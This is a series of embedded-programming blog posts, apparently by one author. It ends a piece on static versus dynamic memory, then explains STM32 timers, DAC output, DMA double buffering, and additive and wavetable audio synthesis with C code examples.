What about polymorphism? Like dynamic memory allocation, dynamic polymorphism also introduces performance overhead via additional indirection (dynamic dispatch, vtable lookup).

The good news is: static polymorphism exists! In C++, we can achieve this via CRTP; but we lose the ability to declare polymorphic containers, such asvector<Animal*>, vector<Shape*>. We could also use sum types (e.g. std::variant); but this would increase memory footprint. Sometimes virtual classes are a necessary ~~evil~~ abstraction.

Thus, it’s crucial to consider the design requirements of the software being developed. How long do the strings need to be? Can they be limited by a maximum length? How many items will our vector hold at most? Is it more maintainable to use virtual classes here?⁵

Is dynamic memory always bad?

Dynamic memory isn't bad in all cases, if used properly. Some appropriate situations:

You only allocate during init. For example, we allocate memory based on a setting from an SSD card.
It's difficult to decide on a maximum bound at compile time. It's easy to cap small strings at 32, 64, or 256 chars. But what about HTTP requests? JSON payloads? These vary a lot between applications, so libraries typically default to dynamic allocation.

There are various ways to implement dynamic memory allocation. The "best" method depends on your specific scenario. Memory pools are one implementation admired for their simplicity and lightweight nature. FreeRTOS documents other heap implementations which aim to be thread-safe. Heap 4 is of particular interest, as it mitigates fragmentation.

Summary

In a recent discussion between Uncle Bob and Casey Muratori on clean code and performance, Bob summarises:

Switch statements have their place. Dynamic polymorphism has its place. Dynamic things are more flexible than static things, so when you want that flexibility, and you can afford it, go dynamic. If you can't afford it, stay static.

^{(source; emphasis added)}

This applies to embedded system memory as well. It’s difficult to afford dynamic things with few resources. With more powerful MCUs, it’s easier to justify dynamic things, be it heap, polymorphism, and whatnot. In the end, we should take into account the available resources, design requirements, and use cases. Let me summarise again.

If you need flexibility and can afford it, use dynamic memory. If you can’t afford it (as is often the case), use static.⁶

Footnotes

Even if you don’t use it directly, it’s still there. Most garbage-collected languages (think Java, JS, Python) will allocate primitives on the stack, and all other objects on a heap. ↩︎
Also, the C standard library rarely depends on dynamic allocation; except maybe for file IO. ↩︎
Sure, std containers allow custom allocators, and that can be a topic for an entire series of posts... but it also means additional indirection, whether at compile-time or runtime. ↩︎
And if your function uses multiple statically-allocated variables, the allocation will be combined into one giant stack subtraction. You can thank your compiler for this. ↩︎
What's the right balance of maintainability? Is it worth sacrificing maintainability for performance? ↩︎
The distinction between want and need is small, but IMO important when programming for embedded systems. Sometimes, we may want to use the heap, but it's not needed. Very rarely, we may need the flexibility of the heap since the benefits outweigh the costs. ↩︎

Digital Audio Synthesis for Dummies: Part 3

2023-05-24T00:00:00Z

Slap a timer, DMA, and DAC together, and BAM—non-blocking audio output!
— TrebledJ, 2022

Ah… embedded systems—the intersection of robust hardware and versatile software.

This is the third (and culminating) post in a series on digital audio synthesis; but the first (and only?) post touching embedded hardware. In the first post, we introduced basic concepts on audio processing. In the second post, we dived into audio synthesis and generation. In this post, we’ll discover how to effectively implement an audio synthesiser and player on an embedded device by marrying hardware (timers, DACs, DMA) and software (double buffering plus other optimisations).¹

To understand these concepts even better, we’ll look at examples on an STM32. These examples are inspired from a MIDI keyboard project I previously worked on. I'll be using an STM32F405RGT board in the examples. If you plan to follow along with your own board, make sure it's capable of timer-triggered DMA and DAC. An oscilloscope would also be handy for checking DAC output.

This post is much longer than I expected. My suggested approach of reading is to first gain a high-level understanding (possibly skipping the nitty gritty examples), then dig into the examples for details.

Timers ⏰

It turns out kitchens and embedded systems aren’t that different after all! Both perform input and output, and both have timers! Who knew?

Tick Tock

Timers in embedded systems are similar to those in the kitchen: they tick for a period of time and signal an event when finished. However, embedded timers are much fancier than kitchen timers, making them immensely useful in various applications. They can trigger repeatedly (via auto-reload), count up/down, and be used to generate rectangular (PWM) waves.

^{Timers have various applications, such as to count signals. (Source: EmbeddedTutor²)}

So what makes timers tick?

The MCU clock!

The MCU clock is the backbone of a controller. It controls the processing speed and pretty much everything!—timers, ADC, DAC, communication protocols, and whatnot. The signal itself is generated by an oscillator, typically a Quartz crystal oscillator which is capable of generating high, stable, self-sustaining frequencies.

The clock runs at a fixed frequency (168MHz on our board). By dividing against it, we can achieve lower frequencies.

^{By using different prescalers, we can scale down the frequency according to our needs. (Source: EmbeddedTutor²)}

The following diagram illustrates how the clock signal is divided on an STM. There are two divisors: the prescaler and auto-reload (aka counter period).

^{How a timer frequency is derived from the clock signal. (Diagram adapted from uPesy.³)}

Here, the clock signal is first divided by a prescaler of 2, then further "divided" by an auto-reload of 6. On every overflow (arrow shooting up), the timer triggers an interrupt. In this case, the timer runs at $\frac{1}{12}$ the speed of the clock.

These interrupts can trigger functionality such as DMA transfers (explored later) and ADC conversions.⁴ Heck, they can even be used to trigger other timers!

Further Reading:

How do microcontroller timers work?
Getting Started with STM32: Timers and Timer Interrupts
- There are more prescalers behind the scenes! (APB2)

Example: Initialising the Timer

Suppose we want to send a stream of audio output. We can use a timer with a frequency set to our desired sample rate.

We can derive the prescaler (PSC) and auto-reload (ARR) by finding integer factors that satisfy the following relationship.

$$ \text{freq}_\text{timer} = \frac{\text{freq}_\text{clock}}{(\text{PSC} + 1) \times (\text{ARR} + 1)} $$

where $\text{freq}_\text{timer}$ is the timer frequency (or specifically in our case, the sample rate), $\text{freq}_\text{clock}$ is the clock frequency.

On our STM32F405, we configured $\text{freq}_\text{clock}$ to the maximum possible speed: 168MHz. If we’re aiming for an output sample rate of 42,000Hz, we’d need to divide our clock signal by 4,000, so that we correctly get $\frac{168,000,000}{4,000} = 42,\!000$. For now, we’ll choose register values of PSC = 0 and ARR = 3999.

Why do we add $+1$ to the PSC and ARR in the relationship above?

On the STM32F4, PSC and ARR are 16-bit registers, meaning they range from 0 to 65,535.⁵ To save space and enhance program correctness, we assign meaningful behaviour to the value 0.

So in this page, when we say PSC = 0, we actually mean a prescaler divisor of 1.

Why 0 and 3999 specifically?

Other pairs of PSC and ARR can also work. We can choose any PSC and ARR which get us to our desired timer frequency. Play around and try different pairs of PSC and ARR!

Exercises for the reader:

What is the difference between different pairs, such as PSC = 0, ARR = 3999 vs. PSC = 1, ARR = 1999? (Hint: counter.)
Is there a PSC/ARR pair that is "better"?⁶

We can use STM32 CubeMX to initialise timer parameters. CubeMX allows us to generate code from these options, handling the conundrum of modifying the appropriate registers.

^{In CubeMX, we first select a timer on the left. We then enable a channel (here Channel 4) to generate PWM.⁷ We also set the prescaler and auto-reload so that our timer frequency is 42,000Hz.}

^{Some other settings in CubeMX to check.}

Remember to generate code once done.⁹ CubeMX should generate the following code in main.c:

static void MX_TIM8_Init(void)
{
    // --snip-- Initialise structs. --snip--

    htim8.Instance               = TIM8;
    htim8.Init.Prescaler         = 0;
    htim8.Init.CounterMode       = TIM_COUNTERMODE_UP;
    htim8.Init.Period            = 4000 - 1;
    htim8.Init.ClockDivision     = TIM_CLOCKDIVISION_DIV1;
    htim8.Init.RepetitionCounter = 0;
    htim8.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
    if (HAL_TIM_Base_Init(&htim8) != HAL_OK) {
        Error_Handler();
    }
    
    // --snip-- Initialise the clock source. --snip--
    
    if (HAL_TIM_PWM_Init(&htim8) != HAL_OK) {
        Error_Handler();
    }
    
    // --snip-- Initialise other things. --snip--
    
    HAL_TIM_MspPostInit(&htim8);
}

After initialisation, it's possible to change the timer frequency by setting the prescaler and auto-reload registers like so:

TIM8->PSC = 0;    // Prescaler: 1
TIM8->ARR = 3999; // Auto-Reload: 4000

This is useful for applications where the frequency is dynamic (e.g. playing music with a piezoelectric buzzer), but it's also useful when we're too lazy to modify the .ioc file.

Example: Playing with Timers

STM’s HAL library provides ready-made functions to interface with hardware.

HAL_TIM_Base_Start(&htim8); // Start the timer.
HAL_TIM_Base_Stop(&htim8);  // Stop the timer.

These functions are used to start/stop timers for basic timing and counting applications. Functions for more specialised modes (e.g. PWM) are available in stm32f4xx_hal_tim.h.

Digital-to-Analogue Converters (DACs) 🌉

Let's delve into our second topic today: digital-to-analogue converters (DACs).

Audio comes in several forms: sound waves, electrical voltages, and binary data.

^{Audio manifests in various forms. DACs transform our signal from the digital realm to the analogue world. (Source: Wikimedia Commons.)}

Since representations vastly differ, hence the need for interfaces to bridge the worlds. Between the digital and analogue realms, we have DACs and ADCs as mediators. Generally, DACs are used for output while ADCs are for input.

A Closer Look at DACs

Remember sampling? We took a continuous analogue signal and selected discrete points at regular intervals. An ADC is like a glorified sampler.

While ADCs take us from continuous to discrete, DACs (try to) take us from discrete to continuous. The shape of the resulting analogue waveform depends on the DAC implementation. Simple DACs will stagger the output at discrete levels. More complex DACs may interpolate between two discrete samples to “guess” the intermediate values. Some of these guesses will be off, but at least the signal is smoother.

^{On our STM board, signal reconstruction is staggered, like old platformer games—not that I've played any. At higher sampling rates, the staggered-ness is less apparent and the resulting curve is smoother.}

Example: Initialising the DAC

Let’s return to CubeMX to set up our DAC.

^{Enable DAC, and connect it to Timer 8 using the trigger setting. Our STM32F405 board supports two DAC output channels. This is useful if we want stereo audio output.}

^{Configure DMA settings for the DAC. We’ll cover DMA later.}

^{Enable interrupts for the DMA. These are needed to trigger DAC sends.}

Again, remember to generate code when finished.⁹ The MX_DAC_Init() function should contain the generated DAC setup code and should already be called in main().

Example: Using the DAC

On our STM32, DAC accepts samples quantised to 8 bits or 12 bits.¹⁰ We’ll go with superior resolution: 12 bits!

^{STM32 offers three different options to quantise and align DAC samples. We’ll only focus on the last option: 12-bit right aligned samples. (Source: RM0090 Reference Manual.⁸)}

For simplicity, let’s start with sending 1 DAC sample. This can be done like so:

// Start the DAC peripheral.
HAL_DAC_Start(&hdac, DAC_CHANNEL_1);

// Set the DAC value to 1024 on Channel 1, 12-bit right-aligned.
HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, 1024);

This should output a voltage level of $\frac{1024}{2^{12}} = 25\%$ of the reference voltage $V_{\text{REF}}$. Once it starts, the DAC will continue sending that voltage out until we change the DAC value or call HAL_DAC_Stop().

We use DAC_CHANNEL_1 to select the first channel, and use DAC_ALIGN_12B_R to accept 12-bit right-aligned samples.

To fire a continuous stream of samples, we could use a loop and call HAL_DAC_SetValue() repeatedly. Let’s use this method to generate a simple square wave.

An aside. The default HAL_Delay() provided by STM will add 1ms to the delay time—well, at least in my version. I overrode it using a separate definition so that it sleeps the given number of ms.

void HAL_Delay(uint32_t ms)
{
    uint32_t start = HAL_GetTick();
    while ((HAL_GetTick() - start) < ms);
}

HAL_DAC_Start(&hdac, DAC_CHANNEL_1);

// Alternate between high (4095) and low (0).
uint8_t high  = 1;
while (1) {
    uint16_t sample = (high ? 4095 : 0); // max = 4095 = 2^12 - 1.
    high = !high;
    HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, sample);

    // Delay for 5ms.
    HAL_Delay(5);
}

This generates a square wave with a period of 10ms, for a frequency of 100Hz.

^{Oscilloscope view of the signal. Oscilloscopes are very useful for debugging signals, especially periodic ones.}

But there are two issues with this looping method:

Using a while loop blocks the thread, meaning we block the processor from doing other things while outputting the sine wave. We may wish to poll for input or send out other forms of output (TFT/LCD, Bluetooth, etc.).
Since HAL_Delay() delays in milliseconds, it becomes impossible to generate complex waveforms at high frequencies, since that requires us to send samples at microsecond intervals.

In the next section, we’ll address these issues by combining DAC with timers and DMA.

Further Reading:

Deep Blue Embedded: STM32 DAC Tutorial

Direct Memory Access (DMA) 💉🧠

The final item on our agenda today! Direct Memory Access (DMA) may seem like three random words strung together, but it’s quite a powerful tool in the embedded programmer’s arsenal. How, you ask?

DMA enables data transfer without consuming processor resources. (Well, it consumes some resources, but mainly for setup.) This frees up the processor to do other things while DMA takes care of moving data. We could use this saved time to prepare the next set of buffers, render the GUI, etc.

DMA can be used to transfer data from memory-to-peripheral (e.g. DAC, UART TX, SPI TX), from peripheral-to-memory (e.g. ADC, UART RX), across peripherals, or across memory. In this post, we're concerned with one particular memory-to-peripheral transfer: DAC.

Further Reading:

Baeldung: How Do DMA Controllers Work?

Example: DMA with Single Buffering

We'll now try using DMA with a single buffer, see why this is problematic, and motivate the need for double buffering. If you’ve read this far, I presume you’ve followed the previous section by initialising DMA and generating code with CubeMX.

DMA introduces syncing issues. After preparing a second round of buffers, how do we know if the first round has already finished?

As with all processes which depend on a separate event, there are two approaches: polling and interrupts. In this context:

Polling: Block and wait until the first round is finished, then send.
Interrupts: Trigger an interrupt signal when transfer finishes, and start the next round inside the interrupt handler.

Which approach to choose depends on your application.

In our examples, we’ll poll to check if DMA is finished:

while (HAL_DAC_GetState(&hdac) != HAL_DAC_STATE_READY)
    ;

With DMA, we’ll first need to buffer an array of samples. Our loop will run like this:

Buffer samples.
Wait for DMA to be ready.
Start the DMA.

Do you notice a flaw in this approach? After starting DMA, we start buffering samples on the next iteration. We risk overwriting the buffer while it’s being sent.

Let’s try to implement it anyway and play a simple 440Hz sine wave.

#include <math.h>  // M_PI, sin

#define SAMPLE_RATE 42000
#define BUFFER_SIZE 1024
#define FREQUENCY   440

uint16_t buffer[BUFFER_SIZE];
uint32_t t = 0; // Time (in samples).

// Start the timer.
HAL_TIM_Base_Start(&htim8);

while (1) {
    // Prep the buffer.
    for (int i = 0; i < BUFFER_SIZE; i++, t++) {
        float val = sin(2 * M_PI * FREQUENCY * t / SAMPLE_RATE);
        buffer[i] = 2047 * val + 2047; // Scale the value from [-1, 1] to [0, 2^12-1).
    }

    // Wait for DAC to be ready, so that the buffer can be modified on the next iteration.
    while (HAL_DAC_GetState(&hdac) != HAL_DAC_STATE_READY)
        ;

    // Start the DMA.
    HAL_DAC_Start_DMA(&hdac, DAC_CHANNEL_1, (uint32_t*)buffer, BUFFER_SIZE, DAC_ALIGN_12B_R);
}

The results? As expected, pesky little artefacts invade our signal since our buffer is updated during DMA transfer. This may result in unpleasant clicks from our speaker.

^{Prep, wait, start, repeat. Artefacts distort the signal from time to time.}

But what if we prep, then start, then wait? This way, the buffer won't be overwritten; but this causes the signal to stall while prepping.¹¹

^{Prep, start, wait, repeat. The signal stalls (shown by horizontal lines) because the DAC isn’t updated while buffering.}

To resolve these issues, we'll unleash the final weapon in our arsenal.

Example: DMA with Double Buffering

We saw previously how a single buffer spectacularly fails to deal with "concurrent" buffering. With double buffering, we introduce an additional buffer. While one buffer is being displayed/streamed, the other buffer is updated. This ensures our audio can be delivered in one continuous stream.

In code, we’ll add another buffer by declaring uint16_t[2][BUFFER_SIZE] instead of uint16_t[BUFFER_SIZE]. We’ll also declare a variable curr (0 or 1) to index which buffer is currently available.

uint16_t buffers[2][BUFFER_SIZE]; // New: add a second buffer.
uint8_t curr = 0;                 // Index of current buffer.
uint32_t t   = 0;

// Start the timer.
HAL_TIM_Base_Start(&htim8);

while (1) {
    uint16_t* buffer = buffers[curr]; // Get the buffer being written.

    // --snip-- Same as before...
    // Prep the buffer.
    // Wait for DAC to be ready.
    // Start the DMA.
    // --snip--

    // Point to the other buffer, so that we
    // prepare it while the previous one
    // is being sent.
    curr = !curr;
}

Now our 440Hz sine wave is unblemished!

^{Waveform of a pure 440Hz sine tone.}

Double buffering is also used for video and displays, where each buffer stores a 2D frame instead of a 1D signal.

Example: Playing Multiple Notes with DMA and Double Buffering 🎶

With some minor changes, we can make our device generate audio for multiple notes. Let’s go ahead and play an A major chord!

// Prep the buffer.
uint16_t* buffer = buffers[curr];
for (int i = 0; i < BUFFER_SIZE; i++, t++) {
    // Compute value for each note.
    float a = sin(2 * M_PI * 440 * t / SAMPLE_RATE);
    float cs = sin(2 * M_PI * 554.37 * t / SAMPLE_RATE);
    float e = sin(2 * M_PI * 659.25 * t / SAMPLE_RATE);

    float val = (a + cs + e) / 3;  // Sum and normalise to [-1, 1].
    buffer[i] = 2047 * val + 2047; // Map [-1, 1] to [0, 2^12-1).
}

If you flash the above code and feed the output to an oscilloscope, you may find it doesn’t really work. Our signal stalls, for similar reasons as before.

Even with DMA, stalls may occur. This is usually a sign that buffering (and other processes) consume too much time. In this case, breaks in the data occur—the stream is no longer continuous, because the buffer doesn't finish prepping on time.

Optimisations 🏎

So our code is slow. How do we speed it up?

Here are a few common tricks:

Precompute constants.

Instead of computing 2 * M_PI * FREQUENCY / SAMPLE_RATE every iteration, we can precompute it before the loop, saving many arithmetic instructions.

// Precompute a factor of the 440Hz signal.
float two_pi_f_over_sr = 2 * M_PI * FREQUENCY / SAMPLE_RATE;

while (1) {
    // Prep the buffer.
    uint16_t* buffer = buffers[curr];
    for (int i = 0; i < BUFFER_SIZE; i++, t++) {
        // Use the precomputed value...
        buffer[i] = 2047 * sin(two_pi_f_over_sr * t) + 2047;
    }

    // ...
}

Wavetable synthesis.

Math functions such as sin can be computationally expensive, especially when used a lot. By caching the waveform in a lookup table, we can speed up the process of computing samples.
Increase the buffer size.

By increasing the buffer size, we spend less overhead switching between tasks.
Decrease the sample rate.

If all else fails, we can decrease the load by compromising the sample rate, say from 42000Hz to 21000Hz. With a buffer size of 1024, that means we’ve gone from a constraint of $\frac{1,024}{42,000} = 24.4$ms to $\frac{1,024}{21,000} = 48.8$ms per buffer.

To avoid complicating things, I lowered the sample rate to 21000Hz. This means changing the auto-reload register to 7999, so that our timer frequency is $$\frac{168,000,000}{(0 + 1) \times (7,999 + 1)} = 21,\!000\text{Hz.}$$

TIM8->ARR = 7999;

After all this hassle, we get a beautiful chord.

^{A nifty waveform of an A major chord (440Hz + 554.37Hz + 659.25Hz).}

Recap 🔁

By utilising both hardware and software, we reap the benefits of parallel processing while implementing an efficient, robust audio application. On the hardware side, we explored:

Timers, which are an useful and inexpensive way to trigger actions at regular intervals.
DACs, which enable us to communicate with a speaker by translating digital samples into analogue signals.
DMA, which enables data transfer with minimal processor resources. This way, we can process other things while streaming audio.

In software, we explored:

Double buffering, a software technique for buffering data to achieve continuous or faster output.
Various optimisations, which enable us to squeeze more processing into our tiny board.

When combined, we save processing resources, which can possibly be spent on additional features.

In case you want to go further, here are some other things to explore:

Generating stereo audio. We’ve generated audio for Channel 1. What about stereo audio for Channel 2? If you’re using reverb effects and wish for a fuller stereo sound, you’ll need an extra pair of buffers (and more processing!).
Streaming via UART (+ DMA).
Using SIMD instructions to buffer two (or more?) samples at a time.
- Other assembly-level bit-hacking tricks.
RTOS for multitasking.
Other boards or hardware with specialised audio features.

Hope you enjoyed this series of posts! Leave a comment if you like to see more or have any feedback!

Full Code

The complete code for DMA with double buffering has been uploaded as a GitHub Gist. It hasn't been fully optimised yet. I'll leave that as an exercise for the reader.

Footnotes

Each of these components (especially hardware) deserve their own post to be properly introduced; but for the sake of keeping this post short, I’ll only introduce them briefly and link to other resources for further perusal. ↩︎
Timer/Counter in Embedded System ↩︎ ↩︎
How do microcontroller timers work? – A decent article on timers. Diagrams are in French though. ↩︎
The extent of timer events depends on hardware support. Timers can do a lot on ST boards. For other brands, you may need to check the datasheet or reference manual. ↩︎
Some other timers have 32-bit ARR registers. But eh, we can achieve a lot with just 16-bit ones. ↩︎
What is the difference between pairs of prescaler/auto-reload, such as PSC = 0, ARR = 3999 vs. PSC = 1, ARR = 1999?
Indeed, given a fixed clock frequency, the same timer frequency will be generated (since the divisor is the same: 2000). However, the difference lies in the counter. Recall each step of auto-reload equals a step of the counter.
The counter is used in calculating the on-time (or duty cycle). By using a higher ARR, we gain a higher resolution in the counter, which allows us to say, control servos with finer granularity. Thus, a lower prescaler is often preferred.
Of course, different vendors may implement timers differently or have different features attached to timer peripherals. Other considerations may come into play, depending on the vendor and your application. ↩︎
We chose Timer 8 (with Channel 4) because it's an advanced control timer (a beefy boi!), capable of a lot, though probably overkill for our simple examples. The timer and channel you use depends on your STM board and model. If you’re following along with this post, make sure to choose a timer which has DMA generation. When in doubt, refer to the reference manual.⁸ ↩︎
STM's Official Reference Manual for F405/F415, F407/F417, F427/F437, F429/F439 boards. Definitely something to refer to if you’re working on one of those boards. ↩︎ ↩︎
In CubeMX, you can generate code by choosing the Project > Generate Code menu option. When coding, keep in mind that only code between USER CODE BEGIN and USER CODE END comments will be preserved by ST's code generator. ↩︎ ↩︎
There are pros to using 8-bit or 12-bit DAC. 8-bit conversion is faster, whereas 12-bit offers higher resolution. To slightly complicate things, the 12-bit DAC option on our STM32 can be aligned either left or right. That is, we can choose whether our data takes up the first 12 bits or last 12 bits on a 16-bit (2-byte) space. Alignment exists to save you a shift operation, which depends on your application. ↩︎
Not sure if stall is the right word. Let me know if there's a better one. ↩︎

Digital Audio Synthesis for Dummies: Part 2

2023-03-09T00:00:00Z

This is the second post in a series of posts on Digital Audio Processing. Similar to the previous post, this post stems from a lil’ MIDI keyboard project I worked on last semester and is an attempt to share the knowledge I've gained with others. This post will dive into the wonderful world of audio synthesis and introduce two important synthesis techniques: additive synthesis and wavetable synthesis.

Audio Synthesis 🎶

Where do audio signals come from? Our signal might be…

recorded. Sound waves are picked up by special hardware (e.g. a microphone) and translated to a digital signal through an ADC.
loaded from a file. There are many audio formats out there, but the most common ones are .wav and .mp3. The .wav format is simple: just store the samples as-is. Other formats compress audio to achieve smaller file sizes (which in turn, means faster upload/download speeds).
synthesised. We generate audio out of thin air (or rather, code and electronics).

I’ll mainly focus on synthesis. We’ll start by finding out how to generate a single tone, then learn how to generate multiple tones simultaneously.

Buffering 📦

A naive approach to generate audio might be:

Process one sample
Feed it to the DAC/speaker

But there are several issues with this: function call overhead may impact performance, and we have little room left to do other things. For the sound to play smoothly while sampling at 44100Hz, each sample needs to be delivered within $\frac{1}{44100}$ s = $22.6$ µs.

A better approach is to use a buffer and work in batches. The buffer will hold onto our samples before feeding it to the speaker.

Process $N$ samples and store them in a buffer
Feed all $N$ samples to the DAC/speaker

We'll focus more on step 1 (processing) for now. We'll cover step 2 (output) in the next post.

In a previous post, we discussed quantisation and how different representations (such as integers and floats) are suited for different tasks. Integers are discrete numbers, while floats are (imprecise) real numbers. Since we're concerned with audio processing, we'll be using floats and quantising from -1 to 1.

In C/C++, we can generate a sine tone like so:

#define SAMPLE_RATE 44100  // Number of samples per second.
#define BUFFER_SIZE 1024   // Length of the buffer.

// Define an array for storing samples.
float buffer[BUFFER_SIZE]; // Buffer of samples to populate, each ranging from -1 to 1.

/**
 * Generate samples of a sine wave and store them in a buffer.
 * @param freq  Frequency of the sine wave, in Hz.
 */
void generate_samples(float freq) {
    // Populate the buffer with a sine tone with frequency `freq`.
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = sin(2 * PI * freq * i / SAMPLE_RATE);
    }
}

And that’s it—we’ve just whooshed pure sine tone goodness from nothing! Granted, there are some flaws with this method (it could be more efficient, and the signal clicks when repeated); but hey, it demonstrates synthesis.

Note on Buffers: Usually, the buffer size is medium-sized power of 2 (e.g. 512, 1024, 2048, 4096...). This enhances cache loads and processing speed (dividing by a power of 2 is super easy for processors!).¹

The Fourier Theorem 📊

One fundamental theorem in signal processing is the Fourier Theorem, which relates to the composition of signals. It can be summarised into:

Any periodic signal can be broken down into a sum of sine waves.

We can express this mathematically as $$ f(x) = a_0\sin(f_0x + b_0) + a_1\sin(f_1x + b_1) + \cdots + a_n\sin(f_nx + b_n) $$ where $a_i$, $f_i$, and $b_i$ are the amplitude, frequency, and phase of each constituent sine wave.

The Fourier Theorem and Fourier Transform are ubiquitous in modern day technology. It is the basis for many audio processing techniques such as filtering, equalisation, and noise cancellation. By manipulating the individual sine waves that make up a sound, we can alter its characteristics and create new sounds. The Fourier Transform is also a key component in compression, such as the JPG image format.

What’s cool about this theorem is that we can apply it the other way: any periodic signal can be generated by adding sine waves. This lays the groundwork for additive synthesis and generating audio with multiple pitches (e.g. a chord).

Additive Synthesis ➕

The principle of additive synthesis is pretty straightforward: signals can be combined by adding samples along time.

^{Example of additive synthesis. The first and second signal show pure sine tones at 440Hz ($s_1$) and 660Hz ($s_2$). The third signal adds the two signals ($s_1 + s_2$). The fourth signal scales the third signal down to fit within $[-1, 1]$ ($(s_1 + s_2) / 2$). (Source Code)}

To sound another pitch, we simply add a second sine wave to the buffer.

#define SAMPLE_RATE 44100
#define BUFFER_SIZE 1024

float buffer[BUFFER_SIZE];

/**
 * Generate samples of two sine waves played together and store them in a buffer.
 * @param freq  Frequency of the first sine wave, in Hz.
 * @param freq2 Frequency of the second sine wave, in Hz.
 */
void generate_samples2(float freq, float freq2) {
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = 0.5f * sin(2 * PI * freq * i / SAMPLE_RATE);
        buffer[i] += 0.5f * sin(2 * PI * freq2 * i / SAMPLE_RATE);
    }
}

Again, the code above populates the buffer with 1024 samples of audio. But this time, we introduced a second frequency freq2 and added a second sample to the buffer. We also made sure to scale the resulting sample back down to the $[-1, 1]$ range by multiplying each sample by 0.5.

We can see additive synthesis in action with some help from Audacity.

Let’s start off with one tone.
- Generate a 440Hz tone (Generate > Tone… > Sine).
- Play it. You’ll hear a pure tone.
Now let’s add another tone.
- Make a new track (Tracks > Add New > Mono Track).
- Generate an 880Hz tone in the new track. Same method as above.
- Play it to hear a beautiful sounding octave.

During playback, Audacity will combine the samples from both tracks by summing them and play the summed signal.

You can try layering other frequencies (554Hz, 659Hz) to play a nifty A Major chord.

Fundamental Frequency

A side note. When combining two frequencies with additive synthesis, something subtle happens. The ground shifts and our feet fumble! The fundamental frequency implicitly changes!

DIY Example

Fire up Audacity.
Generate a 400Hz sine tone. (Generate > Tone...)
Generate a 402Hz sine tone on a different track.
Play the audio and observe. How many times does the audio peak per second?

It peaks twice per second. (That is, we implicitly added a 2Hz signal beneath!)

Specifically, the fundamental changes to the greatest common divisor (GCD) of the two frequencies.

More notes:

When we play a note and its 5th (in Just Temperament), say 440Hz and 660Hz, our fundamental is 220Hz.
With octaves, the fundamental frequency is just the frequency of the lower note.
This also leads to some interesting phenomena.
- When we play two super-low-register notes a semitone apart, we get funny, dissonant pulses emanating from our keyboard or piano.
- This may also lead to unpleasant buzzes when mixing synths, possibly due to frequency modulation on top of a steady tone.

Wavetable Synthesis 🌊

In previous code blocks, we computed samples using sin(). But what if we wanted to compute something more complex? Do we really just reverse the Fourier theorem and apply additive synthesis on a bunch of sine signals? It turns out there's a better way.

A more efficient approach is to interpolate over pre-generated values, sacrificing a bit of memory for faster runtime performance. This is known as wavetable synthesis or table-lookup synthesis. The idea is to pre-generate one cycle of the wave (e.g. a sine) and store it in a lookup table. Then when generating samples for our audio, we would look up the pre-generated samples and derive intermediate values if necessary (via interpolation).

This is akin to preparing a cheat sheet for an exam, but you're only allowed to bring one sheet of paper—space is precious. You decide to only include the most crucial equations, key points, and references. Then when taking the exam you refer to the cheat sheet for ideas, connect the dots, and combine them with your thoughts to form an answer.

^{Example of wavetable synthesis. The blue dots (above) show a pre-generated wavetable of length 32. The red dots (below) are samples of a 8Hz sine wave sampled at 100Hz, generated by interpolating on the wavetable. (Source Code)}

Wavetable synthesis can be implemented in C++ like so:

#define SINE_WAVETABLE_SIZE 256
#define SAMPLE_RATE 44100  // Number of samples per second (of the target waveform).
#define BUFFER_SIZE 1024

// The pre-generated wavetable. It should capture one cycle of the desired waveform (in this case, a sine).
float sine_wavetable[SINE_WAVETABLE_SIZE] = { /* pre-generated values ... */ };

// The phase indicates how far along the wavetable we are.
// We're concerned with two components: the integer and decimal.
// The integer part indicates the index of left sample along the wavetable, modulus the size.
// The decimal part indicates the fraction between the left and right samples.
float phase = 0;

float buffer[BUFFER_SIZE];

/**
 * Generate samples of a sine wave by interpolating a wavetable.
 * @param freq  Frequency of the sine wave, in Hz.
 */
float get_next_sample(float freq) {
    size_t idx = size_t(phase); // Integer part.
    float frac = phase - idx;   // Decimal part.

    // Get the pre-generated sample to the LEFT of the current sample.
    float samp0 = sine_wavetable[idx];

    // Get the pre-generated sample to the RIGHT of the current sample.
    idx = (idx + 1) % SINE_WAVETABLE_SIZE;
    float samp1 = sine_wavetable[idx];

    // Interpolate between the left and right samples to get the current sample.
    float inter = (samp0 + (samp1 - samp0) * frac);

    // Advance the phase to prepare for the next sample.
    phase += SINE_WAVETABLE_SIZE * freq / SAMPLE_RATE;

    return inter;
}

void generate_samples_w(float freq) {
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = get_next_sample(freq); // We've offloaded the calculations to `get_next_sample`.
    }
}

For a sine wave, we don't gain much in terms of performance. But when it comes to generating complex waveforms, wavetable synthesis rocks!²

Wavetable synthesis is commonly used by MIDI to generate sounds. Each instrument has its own soundfont, which is a collection of wavetables of different pitches. This unifies the synthesis approach for all instruments, as some may be simple to generate (e.g. clarinet) while others are more complex.

Additive synthesis and wavetable synthesis serve two very different purposes!

Additive synthesis aims to combine multiple waveforms, of any shape and size (e.g. playing chords, or combining guitar and voice tracks).
Wavetable synthesis aims to generate a specific waveform (in a fast manner).

Besides this software approach, we can also leverage hardware to speed up processing. But this is a matter for the next post.

Exercise for the reader:

What variables affect the speed at which we iterate through the pre-generated wavetable?
What happens if we try to generate a waveform with frequency equal to half the sample rate? Or with frequency equal to the sample rate itself?

Recap 🔁

Audio generation is pretty fun once we dive deep, as are its applications: toys, electronic instruments, virtual instruments, digital synths, speakers, hearing aids, and whatnot. As before, I hope we communicated on the same wavelength and the information on this post did not experience aliasing. 😏

In the next post, we'll dive even deeper into audio synthesis (particularly in embedded systems) and engineer a simple tone generator.

To recap…

Audio samples may come from several sources. It may be recorded, loaded from a file, or synthesised.
We can synthesise musical pitches by buffering samples and feeding them to hardware.
According to the Fourier Theorem, all signals can be broken into a summation of sine waves.
To combine audio signals, we can apply additive synthesis.
- This also allows us to play multiple pitches simultaneously (chords).
We can generate complex waveforms by using wavetable synthesis, which trades memory for speed by sampling pre-generated signals.

Further Reading:

Waveforms (Sine, Square, Triangle, Sawtooth)
- Most audio synthesis tutorials cover simple waveforms; but as internet content is saturated here, I'll just drop a couple links. I couldn't find an article I like that introduces these waveforms in all their glory. If you know of better articles, let me know.
- Perfect Circuit (conceptual, high-level)
- Electronics Tutorial (geared towards electronics; would be a nice read to prepare for the next post)
